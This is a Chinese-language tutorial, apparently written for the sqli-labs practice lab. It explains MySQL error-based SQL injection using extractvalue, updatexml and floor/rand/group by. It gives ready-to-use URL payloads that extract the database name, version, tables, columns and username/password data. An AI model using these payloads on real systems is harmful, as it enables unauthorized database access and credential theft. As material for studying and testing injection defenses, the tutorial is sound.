报错注入常用的三种注入方式(flool ,extractvalue、updatexml)
在学习sql注入的过程中经常会遇到一些没有显示位的sql'注入靶场,所以一般的注入的方式就无法再使用,在这种情况下我们可以使用函数报错注入的方式,通过报错查询和显示我们想要得到的数据,下面是我报错注入的三种基本方式;
(一)、extractvalue报错注入
extractvalue函数的基本格式为:ExtractValue(xml_frag, xpath_expr)
extractvalue函数接收两个字符串参数,一个属xml标记片段和xpath表达式xpath expr(xml是一种可扩展标记语言,使用标签来操作,html就是一种常见的标记型语言,xml主要用来存储数据,体现在作配置文件,或者充当小型数据库,在网络中传输数据,类似与HTML语言中的div标签;)(xpath expr 也称为定位器,也就是路径查询,因为咱们主要是为了学习sql注入,所有函数的原理不用太纠结,只要大概了解一下就行了)其实简单点来说,第一个参数就是为了上传一个xml文档,第二个参数就是用xpath路径法查找路径,而extractvalue报错注入 就是通过再函数中写如不符合语法格式的xpath达到报错的目的,并且通过拼接sql注入语句从而通过报错查询并显示我们想要查询的内容;
例如:select username from security.user where id=1 and (extractvalue('anything',concat('~',(select database()))))
这里通过concat拼接sql语句并且由于我们第二个·参数的位置写入的xpath是不符合语法格式的所以会产生报错,从而达到我们想要查询的内容
select username from security.user where id=1 and (extractvalue('anything',concat('~',(sql语句))))在sql语句处插入我们想要查询的内容的sql语句;
查询数据库:select username from security.user where id=1 and (extractvalue('anything',concat('~',(select database())))) --+
查找版本:?id=' and (extractvalue('anything',concat('~',(select version())))) --+
查表:id=' and (extractvalue('anything',concat('~',(select group_concat( table_name) from information_schema.tables where table_schema='security')))) --+ (这里查询的是库中所有的表,若是想要查询单个表可以加限制条件)
查字段内容:?id=' and (extractvalue('anything',concat('~',(select group_concat(id,username,password) from security.users)))) --+
(二)、updatexml报错注入
updatexml报错注入和extractvalue报错注入的原理基本差不多,都是利用插入不符合函数格式的语句并拼接查询语句从而通过函数报错达到我们查询内容的目的;
基本格式:UpdateXML(xml_target, xpath_expr, new_xml)
xml - taeget:是我们需要操作的xml片段;
xpath -expr:和上面的一样,是需要更新的路径;
xml -xml:是更新后的的xml字段;
(此函数用来更新选定XML片段的内容,将XML标记的给定片段的单个部分替换为 xml_target 新的XML片段 new_xml ,然后返回更改的XML。xml_target 替换的部分 与xpath_expr 用户提供的XPath表达式匹配)(参考别人的接受);
其最终还是因为路径产生报错从而达到报错的目的;
格式:select username from security.user where id=1 and (updatexml('anything',concat('~',(sql语句)),'anything'))
(和extractvalue函数一样在sql语句处插入我们想要查询内容的sql注入语句)
查询数据库:?id=' and (updatexml('anything',concat('~',(select database())),'anything')) --+
查询数据库版本:?id=' and (updatexml('anything',concat('~',(select version())),'anything')) --+
查表:?id=' and (updatexml('anything',concat('~',(select group_concat( table_name) from information_schema.tables where table_schema='security' )),'anything')) --+ (查询所有表,若想查询单一表可以使用limit函数)
查字段内容:?id=' and (updatexml('anything',concat('~',(select group_concat(id,username,password) from security.users)),'anything')) --+
(三)、floor函数报错
基本格式:and (select 1 from (select count(*),concat((payload),floor (rand(0)*2))x from information_schema.tables group by x)a)
payload处是我们要插入sql注入语句的位置
基础知识:
floor(): 去除小数部分
rand(): 产生随机数
rand(x): 每个x对应一个固定的值,但是如果连续执行多次值会变化,不过也是可预测的
count:COUNT(column_name) 函数返回指定列的值的数目(NULL 不计入);COUNT(*) 函数返回表中的记录数:
floor报错就是通过使floor ,count ,group by 三个函数相遇发生错误从而达到报错注入的目的;
floor 产生报错的语句:select count(*) ,floor(rand(0)*2)x from security.users group by x(自定义数据库的一张表);在这里x就是给floor(rand(0)*2)定义了一个别名;也就是说floor(rand(0)*2)就是x,这里是为了使floor(rand(0)*2)与group by 相遇;
而group by x也就是group by floor(rand(0)*2) ,首先floor(rand(0)*2)是为了随机产生0,1;虽然生成的数是随机的,但当产生的次数多了也是有规律的,基本就是0110111;所以我们可以看作每次产生的随机数都是固定的;
而floor的原理大概就是count(*)和group by的共同工作,首先系统会先建立一张虚拟表;group by会读取rand产生的随机数,将其插入的到虚拟表中并记录下次数当再次循环出现一个前面已经出现的随机数系统会再次插入可虚拟表的已经有了这就会出现问题,系统会抛弃多余的,从而出现报错的异常,从而达到报错注入的目的;(其具体原理可以参考大神的讲解:SQL注入:floor()报错注入_报错注入floor函数各个含义-CSDN博客)但是我们只要大概明白就行了,重要的是sql注入知识的应用;
查询库,user,版本:?id=%27 union select 1,2,3 from (select count(*),concat((select concat(version(),database(),user()) limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a --+
查询表:?id=1'union select null,count(*),concat((select table_name from information_schema.columns where table_schema= 'security' limit 0,1),floor(rand()*2))as a from information_schema.tables group by a%23
查字段:http://127.0.0.1/sqli-labs-master/Less-5/?id=1'union select null,count(*),concat((select column_name from information_schema.columns where table_name= 'users' limit 0,1),floor(rand()*2))as a from information_schema.tables group by a%23
查数据:http://127.0.0.1/sqli-labs-master/Less-5/?id=1'union select null,count(*),concat((select username from users limit 0,1),floor(rand()*2))as a from information_schema.tables group by a%23
以上就是报错注入的三种基本方式,这种报错注入其实都是利用构造错误函数并拼接我们想要查询内容的sql语句,从而通过数据库返回我们想要的数据;